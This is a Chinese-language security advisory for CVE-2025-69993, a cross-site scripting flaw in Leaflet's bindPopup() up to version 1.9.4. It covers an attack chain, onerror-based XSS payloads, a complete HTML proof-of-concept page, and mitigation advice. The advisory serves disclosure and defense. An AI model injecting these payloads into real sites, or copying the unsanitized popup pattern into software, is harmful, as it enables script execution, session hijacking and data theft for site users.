IPBUF安全漏洞报告
English
CVE-2025-69993 CVSS 6.1 中危

CVE-2025-69993 Leaflet bindPopup存在XSS漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2025-69993
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Leaflet

相关标签

XSSLeafletCVE-2025-69993前端安全存储型XSS

漏洞概述

Leaflet版本1.9.4及之前版本存在跨站脚本(XSS)漏洞。该漏洞源于bindPopup()方法在渲染用户提供的输入时未进行充分的清理,直接将其作为原始HTML处理。攻击者可以利用此缺陷,通过注入包含事件处理属性的恶意HTML代码(如onerror),在受害者查看地图弹窗时执行任意JavaScript代码,从而窃取敏感信息或进行会话劫持。

技术细节

该漏洞的根源在于Leaflet库对弹窗内容的处理机制缺乏安全过滤。当开发者调用bindPopup()方法并传入包含HTML标签的字符串时,库直接将内容插入DOM而未进行实体编码或白名单验证。攻击者可以构造类似于`<img src=x onerror=alert(1)>`的Payload。由于未对`onerror`等事件属性进行拦截,当浏览器尝试加载无效图片时,会触发事件处理器执行恶意JS。此攻击需要用户交互(点击打开弹窗)才能触发,但一旦触发,脚本将在当前会话上下文中运行。

攻击链分析

STEP 1
侦察
攻击者识别目标网站使用了Leaflet地图库且版本低于等于1.9.4。
STEP 2
构造载荷
攻击者编写包含JavaScript事件处理器的HTML字符串,例如`<img src=x onerror=print()>`。
STEP 3
注入载荷
攻击者通过地图数据接口或可控参数,将恶意HTML传递给bindPopup()方法。
STEP 4
诱导交互
诱导受害者访问包含恶意地图的页面,并点击带有恶意Payload的地图标记。
STEP 5
执行代码
浏览器渲染弹窗,解析HTML标签并触发onerror事件,执行恶意JavaScript代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC Code for CVE-2025-69993 --> <!DOCTYPE html> <html> <head> <title>CVE-2025-69993 PoC</title> <link rel="stylesheet" href="https://unpkg.com/[email protected]/dist/leaflet.css" /> <script src="https://unpkg.com/[email protected]/dist/leaflet.js"></script> </head> <body> <div id="map" style="height: 500px;"></div> <script> // Initialize map var map = L.map('map').setView([51.505, -0.09], 13); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { attribution: 'Map data &copy; OpenStreetMap' }).addTo(map); // Vulnerable payload: HTML with onerror event handler var maliciousContent = '<img src=x onerror="alert(\'CVE-2025-69993 XSS Triggered\')">'; // Create marker and bind popup with unsanitized HTML L.marker([51.5, -0.09]) .addTo(map) .bindPopup(maliciousContent) .openPopup(); // Automatically open to demonstrate </script> </body> </html>

影响范围

Leaflet <= 1.9.4

防御指南

临时缓解措施
在无法立即升级版本的情况下,开发者应在调用bindPopup()之前对所有用户输入进行HTML实体编码,或者使用DOMPurify等安全库移除危险标签(如<script>、<iframe>)和事件属性(如onerror、onload)。同时,建议配置Content Security Policy (CSP) 头部,禁止内联脚本的执行,以减少潜在的损害。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表